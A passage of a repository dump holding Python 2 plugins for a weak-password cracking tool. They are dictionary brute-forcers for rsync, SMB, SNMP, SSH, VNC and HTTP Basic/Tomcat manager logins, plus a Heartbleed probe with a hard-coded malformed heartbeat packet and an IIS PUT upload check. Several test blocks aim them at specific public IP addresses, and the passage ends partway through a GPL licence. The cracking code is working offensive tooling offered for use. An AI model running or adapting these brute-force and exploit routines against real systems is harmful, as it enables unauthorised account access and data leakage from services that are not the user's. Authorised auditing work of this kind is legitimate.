time.ctime()\n            print \"[*] crack rsync done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    from comm.config import *\n    c=config()\n    ipdict={'rsync': ['103.228.69.151:873']} \n    pinglist=['103.228.69.151']\n    test=rsync_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n                \n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/rsynclib.py",
    "content": "import base64\nimport re\ntry:\n    import hashlib\n    hash_md4 = hashlib.new(\"md4\")\n    hash_md5 = hashlib.md5()\nexcept ImportError:\n    # for Python << 2.5\n    import md4\n    import md5\n    hash_md4 = md4.new()\n    hash_md5 = md5.new()\n\n# Import SOCKS module if it exists, else standard socket module socket\ntry:\n    import SOCKS; socket = SOCKS; del SOCKS # import SOCKS as socket\n    from socket import getfqdn; socket.getfqdn = getfqdn; del getfqdn\nexcept ImportError:\n    import socket\nfrom socket import _GLOBAL_DEFAULT_TIMEOUT\n\n__all__ = [\"rsync\"]\n\n\n\n# The standard rsync server control port\nRSYNC_PORT = 873\n# The sizehint parameter passed to readline() calls\nMAXLINE = 8192\nprotocol_version = 0\n\n# Exception raised when an error or invalid response is received\nclass Error(Exception): pass\n\n# All exceptions (hopefully) that may be raised here and that aren't\n# (always) programming errors on our side\nall_errors = (Error, IOError, EOFError)\n\n\n# Line terminators for rsync\nCRLF = '\\r\\n'\nLF = '\\n'\n\n# The class itself\nclass rsync:\n    '''An rsync client class.\n\n    To create a connection, call the class using these arguments:\n        host, module, user, passwd\n\n    All arguments are strings, and have default value ''.\n    Then use self.connect() with optional host and port argument.\n    '''\n    debugging = 0\n    host = ''\n    port = RSYNC_PORT\n    maxline = MAXLINE\n    sock = None\n    file = None\n    server_protocol_version = None\n\n    # Initialization method (called by class instantiation).\n    # Initialize host to localhost, port to standard rsync port\n    # Optional arguments are host (for connect()),\n    # and module, user, passwd (for login())\n    def __init__(self, host='', module='', user='', passwd='',port=873,\n                 timeout=_GLOBAL_DEFAULT_TIMEOUT):\n        self.timeout = timeout\n        if host:\n            self.connect(host)\n            if module and user and passwd:\n                self.login(module, user, passwd)\n\n    def connect(self, host='', port=0, timeout=-999):\n        '''Connect to host.  Arguments are:\n         - host: hostname to connect to (string, default previous host)\n         - port: port to connect to (integer, default previous port)\n        '''\n        if host != '':\n            self.host = host\n        if port > 0:\n            self.port = port\n        if timeout != -999:\n            self.timeout = timeout\n        self.sock = socket.create_connection((self.host, self.port), self.timeout)\n        self.af = self.sock.family\n        self.file = self.sock.makefile('rb')\n        self.server_protocol_version = self.getresp()\n        self.protocol_version = self.server_protocol_version[-2:]\n        return self.server_protocol_version\n\n\n    def set_debuglevel(self, level):\n        '''Set the debugging level.\n        The required argument level means:\n        0: no debugging output (default)\n        1: print commands and responses but not body text etc.\n        '''\n        self.debugging = level\n    debug = set_debuglevel\n\n    # Internal: send one line to the server, appending LF\n    def putline(self, line):\n        line = line + LF\n        if self.debugging > 1: print '*put*', line\n        self.sock.sendall(line)\n\n    # Internal: return one line from the server, stripping LF.\n    # Raise EOFError if the connection is closed\n    def getline(self):\n        line = self.file.readline(self.maxline + 1)\n        if len(line) > self.maxline:\n            raise Error(\"got more than %d bytes\" % self.maxline)\n        if self.debugging > 1:\n            print '*get*', line\n        if not line: raise EOFError\n        if line[-2:] == CRLF: line = line[:-2]\n        elif line[-1:] in CRLF: line = line[:-1]\n        return line\n\n    # Internal: get a response from the server, which may possibly\n    # consist of multiple lines.  Return a single string with no\n    # trailing CRLF.  If the response consists of multiple lines,\n    # these are separated by '\\n' characters in the string\n    def getmultiline(self):\n        line = self.getline()\n        return line\n\n    # Internal: get a response from the server.\n    # Raise various errors if the response indicates an error\n    def getresp(self):\n        resp = self.getmultiline()\n        if self.debugging: print '*resp*', resp\n        if resp.find('ERROR') != -1:\n            raise Error, resp\n        else:\n            return resp\n\n    def sendcmd(self, cmd):\n        '''Send a command and return the response.'''\n        self.putline(cmd)\n        return self.getresp()\n\n    def login(self, module='', user = '', passwd = ''):\n        if not user: user = 'www'\n        if not passwd: passwd = 'www'\n        if not module: module = 'www'\n\n        self.putline(self.server_protocol_version)\n#        self.putline('@RSYNCD: 28.0')\n#        self.protocol_version = 28\n        resp = self.sendcmd(module)\n\n        challenge = resp[resp.find('AUTHREQD ')+9:]\n\n        if self.protocol_version >= 30:\n            md5=hashlib.md5()\n            md5.update(passwd)\n            md5.update(challenge)\n            hash = base64.b64encode(md5.digest())\n        else:\n            md4=hashlib.new('md4')\n            tmp = '\\0\\0\\0\\0' + passwd + challenge\n            md4.update(tmp)\n            hash = base64.b64encode(md4.digest())\n\n        response, number = re.subn(r'=+$','',hash)\n        print response\n        resp = self.sendcmd(user + ' ' + response)\n\n        if resp.find('OK') == -1:\n            raise Error, resp\n        return resp\n\n    def getModules(self):\n        '''Get modules on the server'''\n        print self.server_protocol_version\n        self.putline(self.server_protocol_version)\n\n        resp = self.sendcmd('')\n        print resp\n        return resp\n\n\n\n    def close(self):\n        '''Close the connection without assuming anything about it.'''\n        self.putline('')\n        if self.file is not None:\n            self.file.close()\n        if self.sock is not None:\n            self.sock.close()\n        self.file = self.sock = None\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/smb.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom impacket.smbconnection import *\nfrom multiprocessing.dummy import Pool\nfrom threading import Thread\n\n\nclass smb_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/smb.conf\")\n\n    def smb_connect(self,ip,username,password):\n        crack =0\n        try:\n            smb = SMBConnection('*SMBSERVER', ip)\n            smb.login(username,password)\n            smb.logoff()\n            crack =1\n        except Exception, e:\n            self.lock.acquire()\n            print \"%s smb 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n    def smb_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    if self.smb_connect(ip,username,password)==1:\n                        self.lock.acquire()\n                        printGreen(\"%s smb at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s smb at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['smb']):\n            printPink(\"crack smb  now...\")\n            print \"[*] start crack smb serice  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['smb']:\n                pool.apply_async(func=self.smb_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop smb serice  %s\" % time.ctime()\n            print \"[*] crack smb  done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'smb': ['10.211.55.3:445']} \n    pinglist=['101.201.177.35']\n    test=smb_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/snmp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nfrom pysnmp.entity.rfc3413.oneliner import cmdgen\n\n\nclass snmp_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/snmp.conf\")\n\n    def snmp_connect(self,ip,key):\n        crack =0\n        try:\n            errorIndication, errorStatus, errorIndex, varBinds =\\\n                cmdgen.CommandGenerator().getCmd(\n                    cmdgen.CommunityData('my-agent',key, 0),\n                    cmdgen.UdpTransportTarget((ip, 161)),\n                    (1,3,6,1,2,1,1,1,0)\n                )\n            if varBinds:\n                crack=1\n        except:\n            pass\n        return crack\n\n    def snmp_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    flag=self.snmp_connect(ip,key=data)\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s snmp  has weaken password!!-----%s\\r\\n\" %(ip,data))\n                        self.result.append(\"%s snmp  has weaken password!!-----%s\\r\\n\" %(ip,data))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"test %s snmp's scan fail\" %(ip)\n                        self.lock.release()\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        printPink(\"crack snmp now...\")\n        print \"[*] start crack snmp %s\" % time.ctime()\n        starttime=time.time()\n        pool=Pool(threads)\n        for ip in pinglist:\n            pool.apply_async(func=self.snmp_l,args=(str(ip).split(':')[0],\"\"))\n\n        pool.close()\n        pool.join()\n\n        print \"[*] stop crack snmp %s\" % time.ctime()\n        print \"[*] crack snmp done,it has Elapsed time:%s \" % (time.time()-starttime)\n        \n        for i in xrange(len(self.result)):\n            self.config.write_file(contents=self.result[i],file=file) \n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/ssh.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom printers import printPink,printGreen\nimport paramiko\n\n\nclass ssh_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ssh.conf\")\n\n    def ssh_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            client = paramiko.SSHClient()\n            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            client.connect(ip,port,username=username, password=password)\n            crack=1\n            client.close()\n        except Exception,e:\n            if e[0]=='Authentication failed.':\n                self.lock.acquire()\n                print \"%s ssh service 's %s:%s login fail \" %(ip,username,password)\n                self.lock.release()\n            else:\n                self.lock.acquire()\n                print \"connect %s ssh service at %s login fail \" %(ip,port)\n                self.lock.release()\n                crack=2\n        return crack\n\n    def ssh_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.ssh_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ssh at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ssh at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ssh']):\n            printPink(\"crack ssh  now...\")\n            print \"[*] start crack ssh  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ssh']:\n                pool.apply_async(func=self.ssh_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ssh serice  %s\" % time.ctime()\n            print \"[*] crack ssh done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)   \n\n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ssh': ['139.129.30.58:22']} \n    pinglist=['122.225.81.129']\n    test=ssh_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/ssltest.py",
    "content": "#!/usr/bin/python\nimport sys\nimport struct\nimport socket\nimport select\nimport time\nimport threading\nfrom printers import printPink,printRed\nfrom multiprocessing.dummy import Pool\n\nclass ssl_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n\n        self.hello = self.h2bin('''\n        16 03 02 00  dc 01 00 00 d8 03 02 53\n        43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf\n        bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00\n        00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88\n        00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c\n        c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09\n        c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44\n        c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c\n        c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11\n        00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04\n        03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19\n        00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08\n        00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13\n        00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00\n        00 0f 00 01 01\n        ''')\n\n        self.hb = self.h2bin('''\n        18 03 02 00 03\n        01 40 00\n        ''')\n\n\n    def h2bin(self,x):\n        return x.replace(' ', '').replace('\\n', '').decode('hex')\n\n\n    def recvall(self,s, length, timeout=8):\n        endtime = time.time() + timeout\n        rdata = ''\n        remain = length\n        while remain > 0:\n            rtime = endtime - time.time()\n            if rtime < 0:\n                return None\n            r, w, e = select.select([s], [], [], 5)\n            if s in r:\n                data = s.recv(remain)\n                # EOF?\n                if not data:\n                    return None\n                rdata += data\n                remain -= len(data)\n        return rdata\n\n    def recvmsg(self,s):\n        hdr = self.recvall(s, 5)\n        if hdr is None:\n            return None, None, None\n        typ, ver, ln = struct.unpack('>BHH', hdr)\n        pay = self.recvall(s, ln, 10)\n        return typ, ver, pay\n\n\n    def hit_hb(self,s,ip,port):\n        s.send(self.hb)\n        while True:\n            typ, ver, pay = self.recvmsg(s)\n            if typ is None:\n                return False\n\n            if typ == 24:\n                if len(pay) > 3:\n                    self.lock.acquire()\n                    printRed('WARNING: %s ssl at %s returned more data than it should - server is vulnerable!\\r\\n' %(ip,port))\n                    self.result.append('WARNING: %s ssl at %s returned more data than it should - server is vulnerable!\\r\\n' %(ip,port))\n                    self.lock.release()\n                else:\n                    self.lock.acquire()\n                    printRed('%s ssl at %s processed malformed heartbeat, but did not return any extra data.\\r\\n' %(ip,port))\n                    self.result.append('%s ssl at %s processed malformed heartbeat, but did not return any extra data.\\r\\n' %(ip,port))\n                    self.lock.release()\n                return True\n\n            if typ == 21:\n                return False\n\n    def openssl_test(self,ip,port):\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                sys.stdout.flush()\n                s.connect((ip, port))\n                sys.stdout.flush()\n                s.send(self.hello)\n                sys.stdout.flush()\n                while True:\n                    typ, ver, pay = self.recvmsg(s)\n                    if typ == None:\n                        break\n                    # Look for server hello done message.\n                    if typ == 22 and ord(pay[0]) == 0x0E:\n                        break\n                sys.stdout.flush()\n                s.send(self.hb)\n                self.hit_hb(s,ip,port)\n            except Exception,e:\n                #print e\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ssl']):\n            printPink(\"crack ssl  now...\")\n            print \"[*] start test openssl_heart  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n            for ip in ipdict['ssl']:\n                pool.apply_async(func=self.openssl_test,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ssl serice  %s\" % time.ctime()\n            print \"[*] crack ssl done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)   \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ssl': ['222.22.224.142:443']} \n    pinglist=['122.225.81.129']\n    test=ssl_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/vnc.py",
    "content": "from printers import printPink,printGreen\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom vnclib import *\n\n\nclass vnc_burp(object):\n\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/vnc.conf\")\n\n    def vnc_connect(self,ip,port,password):\n        crack =0\n        try:\n            v = VNC()\n            v.connect(ip, port, 10)\n            code,mesg=v.login(password)\n            if mesg=='OK':\n                crack=1\n        except Exception,e:\n            crack=2\n            pass\n        return crack\n\n    def vnc_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    flag=self.vnc_connect(ip=ip,port=port,password=data)\n                    if flag==2:\n                        self.lock.acquire()\n                        print \"%s vnc at %s not allow connect now because of too many security failure\" %(ip,port)\n                        self.lock.release()\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s vnc at %s has weaken password!!-----%s\\r\\n\" %(ip,port,data))\n                        self.result.append(\"%s vnc at %s  has weaken password!!-----%s\\r\\n\" %(ip,port,data))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"login %s vnc service with %s fail \" %(ip,data)\n                        self.lock.release()   \n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['vnc']):\n            printPink(\"crack vnc  now...\")\n            print \"[*] start crack vnc  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['vnc']:\n                pool.apply_async(func=self.vnc_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop vnc serice  %s\" % time.ctime()\n            print \"[*] crack vnc done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)    \n                \n\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/vnclib.py",
    "content": "__author__ = 'wilson'\nfrom Crypto.Cipher import DES\nfrom sys import version_info\nimport time\n\nclass VNC_Error(Exception):\n    pass\nclass VNC:\n  def connect(self, host, port, timeout):\n    self.fp = socket.create_connection((host, port), timeout=timeout)\n    resp = self.fp.recv(99) # banner\n\n    self.version = resp[:11].decode('ascii')\n\n    if len(resp) > 12:\n      raise VNC_Error('%s %s' % (self.version, resp[12:].decode('ascii', 'ignore')))\n\n    return self.version\n\n  def login(self, password):\n    major, minor = self.version[6], self.version[10]\n\n    if (major, minor) in [('3', '8'), ('4', '1')]:\n      proto = b'RFB 003.008\\n'\n\n    elif (major, minor) == ('3', '7'):\n      proto = b'RFB 003.007\\n'\n\n    else:\n      proto = b'RFB 003.003\\n'\n\n    self.fp.sendall(proto)\n\n    time.sleep(0.5)\n\n    resp = self.fp.recv(99)\n\n\n    if minor in ('7', '8'):\n      code = ord(resp[0:1])\n      if code == 0:\n        raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))\n\n      self.fp.sendall(b'\\x02') # always use classic VNC authentication\n      resp = self.fp.recv(99)\n\n    else: # minor == '3':\n      code = ord(resp[3:4])\n      if code != 2:\n        raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))\n\n      resp = resp[-16:]\n\n    if len(resp) != 16:\n      raise VNC_Error('Unexpected challenge size (No authentication required? Unsupported authentication type?)')\n\n\n    pw = password.ljust(8, '\\x00')[:8] # make sure it is 8 chars long, zero padded\n\n    key = self.gen_key(pw)\n\n\n    des = DES.new(key, DES.MODE_ECB)\n    enc = des.encrypt(resp)\n\n\n    self.fp.sendall(enc)\n\n    resp = self.fp.recv(99)\n\n    self.fp.close()\n    code = ord(resp[3:4])\n    mesg = resp[8:].decode('ascii', 'ignore')\n\n    if code == 1:\n      return code, mesg or 'Authentication failure'\n\n    elif code == 0:\n      return code, mesg or 'OK'\n\n    else:\n      raise VNC_Error('Unknown response: %s (code: %s)' % (repr(resp), code))\n\n  def gen_key(self, key):\n    newkey = []\n    for ki in range(len(key)):\n      bsrc = ord(key[ki])\n      btgt = 0\n      for i in range(8):\n        if bsrc & (1 << i):\n          btgt = btgt | (1 << 7-i)\n      newkey.append(btgt)\n\n    if version_info[0] == 2:\n      return ''.join(chr(c) for c in newkey)\n    else:\n      return bytes(newkey)\n"
  },
  {
    "path": "Weak_Password/Bruteforce/plugins/web.py",
    "content": "#coding=utf-8\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nimport requests\nimport socket\nimport httplib\nimport time\nimport urlparse\nimport urllib2\nimport re\nimport base64\n\n\nclass web_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.tomcatlines=self.config.file2list(\"conf/tomcat.conf\")\n        self.weblines=self.config.file2list(\"conf/web.conf\")\n\n    def weblogin(self,url,ip,port,username,password):\n        try:\n                creak=0\n                header={}\n                login_pass=username+':'+password\n                header['Authorization']='Basic '+base64.encodestring(login_pass)\n                #header base64.encodestring 会多加一个回车号\n                header['Authorization']=header['Authorization'].replace(\"\\n\",\"\")\n                r=requests.get(url,headers=header,timeout=8)\n                if r.status_code==200:\n                    self.result.append(\"%s service at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    self.lock.acquire()\n                    printGreen(\"%s service at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    self.lock.release()\n                    creak=1\n                else:\n                    self.lock.acquire()\n                    print \"%s service 's %s:%s login fail \" %(ip,username,password)\n                    self.lock.release()\n        except Exception,e:\n            pass\n        return creak\n\n\n    def webmain(self,ip,port):\n            #iis_put vlun scann\n            try:\n                url='http://'+ip+':'+str(port)+'/'+str(time.time())+'.txt'\n                r = requests.put(url,data='hi~',timeout=10)\n                if r.status_code==201:\n                    self.lock.acquire()\n                    printGreen('%s has iis_put vlun at %s\\r\\n' %(ip,port))\n                    self.lock.release()\n                    self.result.append('%s has iis_put vlun at %s\\r\\n' %(ip,port))\n            except Exception,e:\n                #print e\n                pass\n\n            #burp 401 web \n            try:\n                url='http://'+ip+':'+str(port)\n                url_get=url+'/manager/html'\n                r=requests.get(url_get,timeout=8)#tomcat \n                r2=requests.get(url,timeout=8)#web\n\n                if r.status_code==401:\n                    for data in self.tomcatlines:\n                        username=data.split(':')[0]\n                        password=data.split(':')[1]\n                        flag=self.weblogin(url_get,ip,port,username,password)\n                        if flag==1:\n                            break\n\n                elif r2.status_code==401:  \n                    for data in self.weblines:\n                        username=data.split(':')[0]\n                        password=data.split(':')[1]\n                        flag=self.weblogin(url,ip,port,username,password)\n                        if flag==1:\n                            break\n                else:\n                    pass\n\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['http']):\n            print \"[*] start test web burp at %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['http']:\n                pool.apply_async(func=self.webmain,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop test iip_put&&scanner web paths at %s\" % time.ctime()\n            print \"[*] test iip_put&&scanner web paths done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)  \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'http': ['192.168.1.1:80']} \n    pinglist=['192.168.1.1']\n    test=web_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/Bruteforce/requirements.txt",
    "content": "MySQL-python 1.2.4\npymssql  2.1.1 \nimpacket\nrequests\npysnmp 4.2.5\npycrypto 2.6.1 \nparamiko 1.1.5 \npython-ldap 2.4.13 \npymongo 2.4 \npsycopg2\nredis\nIPy\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/.gitattributes",
    "content": "*.js linguist-language=python\n*.css linguist-language=python\n*.html linguist-language=python\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/.gitignore",
    "content": "*.pyc\n.idea/\ntests/\nfuxi/views/modules/scanner/pocsuite_plugin/\nlogs/\ninstance/\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source 